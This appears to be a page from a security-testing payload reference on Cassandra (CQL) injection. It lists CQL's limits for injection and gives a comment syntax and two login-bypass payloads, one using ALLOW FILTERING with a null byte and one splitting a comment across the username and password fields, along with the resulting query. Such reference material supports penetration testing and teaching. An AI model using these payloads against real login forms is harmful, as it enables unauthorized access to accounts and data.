TechnoFreaks - Security Lab
215 Payloads
15 Wordlists

SQL Injection Payloads & Testing Methodology

Detecting the entry point in SQL injection (SQLi) involves identifying locations in an application where user input is not properly sanitized before it is included in SQL queries.

Overview (README)BigQuery InjectionCassandra InjectionDB2 InjectionMSSQL InjectionMySQL InjectionOracleSQL InjectionPostgreSQL InjectionSQLite InjectionSQLmap

Cassandra Injection#

Apache Cassandra is a free and open-source distributed wide column store NoSQL database management system.

Summary#

CQL Injection Limitations#

  • Cassandra is a non-relational database, so CQL doesn't support JOIN or UNION statements, which makes cross-table queries more challenging.
  • Additionally, Cassandra lacks convenient built-in functions like DATABASE() or USER() for retrieving database metadata.
  • Another limitation is the absence of the OR operator in CQL, which prevents creating always-true conditions; for instance, a query like SELECT * FROM table WHERE col1='a' OR col2='b'; will be rejected.
  • Time-based SQL injections, which typically rely on functions like SLEEP() to introduce a delay, are also difficult to execute in CQL since it doesn’t include a SLEEP() function.
  • CQL does not allow subqueries or other nested statements, so a query like SELECT * FROM table WHERE column=(SELECT column FROM table LIMIT 1); would be rejected.

Cassandra Comment#

sql1 line
/* Cassandra Comment */

Cassandra Login Bypass#

Example #1#

sql2 lines
username: admin' ALLOW FILTERING; %00
password: ANY

Example #2#

sql2 lines
username: admin'/*
password: */and pass>'

The injection would look like the following SQL query

sql1 line
SELECT * FROM users WHERE user = 'admin'/*' AND pass = '*/and pass>'' ALLOW FILTERING;

References#